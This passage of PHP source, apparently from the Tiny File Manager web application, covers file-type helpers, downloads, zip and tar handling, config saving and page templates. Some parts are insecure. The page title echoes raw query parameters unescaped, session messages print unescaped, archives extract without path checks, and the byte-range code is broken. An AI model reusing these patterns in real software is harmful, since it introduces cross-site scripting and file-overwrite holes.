        'jsx',
        'tsx',
        'mjs',
        'json',
        'sh',
        'config',
        'php',
        'php4',
        'php5',
        'phps',
        'phtml',
        'htm',
        'html',
        'shtml',
        'xhtml',
        'xml',
        'xsl',
        'm3u',
        'm3u8',
        'pls',
        'cue',
        'bash',
        'vue',
        'eml',
        'msg',
        'csv',
        'bat',
        'twig',
        'tpl',
        'md',
        'gitignore',
        'less',
        'sass',
        'scss',
        'c',
        'cpp',
        'cs',
        'py',
        'go',
        'zsh',
        'swift',
        'map',
        'lock',
        'dtd',
        'svg',
        'asp',
        'aspx',
        'asx',
        'asmx',
        'ashx',
        'jsp',
        'jspx',
        'cgi',
        'dockerfile',
        'ruby',
        'yml',
        'yaml',
        'toml',
        'vhost',
        'scpt',
        'applescript',
        'csx',
        'cshtml',
        'c++',
        'coffee',
        'cfm',
        'rb',
        'graphql',
        'mustache',
        'jinja',
        'http',
        'handlebars',
        'java',
        'es',
        'es6',
        'markdown',
        'wiki',
        'tmp',
        'top',
        'bot',
        'dat',
        'bak',
        'htpasswd',
        'pl',
        'ps1'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

/**
 * It returns the mime type of a file based on its extension.
 * @param extension The file extension of the file you want to get the mime type for.
 * @return string|string[] The mime type of the file.
 */
function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if (empty($fileTypes[$extension])) {
        $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return array|null
 */
function scan($dir = '', $filter = '')
{
    $path = FM_ROOT_PATH . '/' . $dir;
    if ($path) {
        $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
        $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

        $files = array();
        foreach ($rii as $file) {
            if (!$file->isDir()) {
                $fileName = $file->getFilename();
                $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                $files[] = array(
                    "name" => $fileName,
                    "type" => "file",
                    "path" => $location,
                );
            }
        }
        return $files;
    }
}

/**
 * Parameters: downloadFile(File Location, File Name,
 * max speed, is streaming
 * If streaming - videos will show as videos, images as images
 * instead of download prompt
 * https://stackoverflow.com/a/13821992/1164642
 */
function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if (is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Save Configuration
 */
class FM_Config
{
    var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url . $_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        global $config_file;
        $fm_file = is_readable($config_file) ? $config_file : __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration" . chr(13) . chr(10) . "$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}

//--- Templates Functions ---

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
?>
    <nav class="navbar navbar-expand-lg mb-4 main-nav <?php echo $isStickyNavBar ?> bg-body-tertiary" data-bs-theme="<?php echo FM_THEME; ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end" data-bs-theme="<?php echo FM_THEME; ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                        <li class="nav-item">
                            <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                        </li>
                        <li class="nav-item">
                            <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                        </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                        <li class="nav-item avatar dropdown">
                            <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-expanded="false">
                                <i class="fa fa-user-circle"></i>
                            </a>

                            <div class="dropdown-menu dropdown-menu-end text-small shadow" aria-labelledby="navbarDropdownMenuLink-5" data-bs-theme="<?php echo FM_THEME; ?>">
                                <?php if (!FM_READONLY): ?>
                                    <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                                <?php endif ?>
                                <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                                <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                            </div>
                        </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
<?php
}

/**
 * Show alert message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
    header("Content-Type: text/html; charset=utf-8");
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
    header("Pragma: no-cache");

    global $favicon_path;
?>
    <!DOCTYPE html>
    <html lang="en" data-bs-theme="<?php echo (FM_THEME == "dark") ? 'dark' : 'light' ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('css-bootstrap'); ?>
        <style>
            body.fm-login-page {
                background-color: #f7f9fb;
                font-size: 14px;
                background-color: #f7f9fb;
                background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");
            }

            .fm-login-page .brand {
                width: 121px;
                overflow: hidden;
                margin: 0 auto;
                position: relative;
                z-index: 1
            }

            .fm-login-page .brand img {
                width: 100%
            }

            .fm-login-page .card-wrapper {
                width: 360px;
            }

            .fm-login-page .card {
                border-color: transparent;
                box-shadow: 0 4px 8px rgba(0, 0, 0, .05)
            }

            .fm-login-page .card-title {
                margin-bottom: 1.5rem;
                font-size: 24px;
                font-weight: 400;
            }

            .fm-login-page .form-control {
                border-width: 2.3px
            }

            .fm-login-page .form-group label {
                width: 100%
            }

            .fm-login-page .btn.btn-block {
                padding: 12px 10px
            }

            .fm-login-page .footer {
                margin: 20px 0;
                color: #888;
                text-align: center
            }

            @media screen and (max-width:425px) {
                .fm-login-page .card-wrapper {
                    width: 90%;
                    margin: 0 auto;
                    margin-top: 10%;
                }
            }

            @media screen and (max-width:320px) {
                .fm-login-page .card.fat {
                    padding: 0
                }

                .fm-login-page .card.fat .card-body {
                    padding: 15px
                }
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            body.fm-login-page.theme-dark {
                background-color: #2f2a2a;
            }

            .theme-dark svg g,
            .theme-dark svg path {
                fill: #ffffff;
            }

            .theme-dark .form-control {
                color: #fff;
                background-color: #403e3e;
            }

            .h-100vh {
                min-height: 100vh;
            }
        </style>
    </head>

    <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
        <div id="wrapper" class="container-fluid">

        <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
    </body>

    </html>

<?php
    }

    /**
     * Show Header after login
     */
    function fm_show_header()
    {
        header("Content-Type: text/html; charset=utf-8");
        header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
        header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
        header("Pragma: no-cache");

        global $sticky_navbar, $favicon_path;
        $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
    <!DOCTYPE html>
    <html data-bs-theme="<?php echo FM_THEME; ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?> | <?php echo (isset($_GET['view']) ? $_GET['view'] : ((isset($_GET['edit'])) ? $_GET['edit'] : "H3K")); ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('pre-cloudflare'); ?>
        <?php print_external('css-bootstrap'); ?>
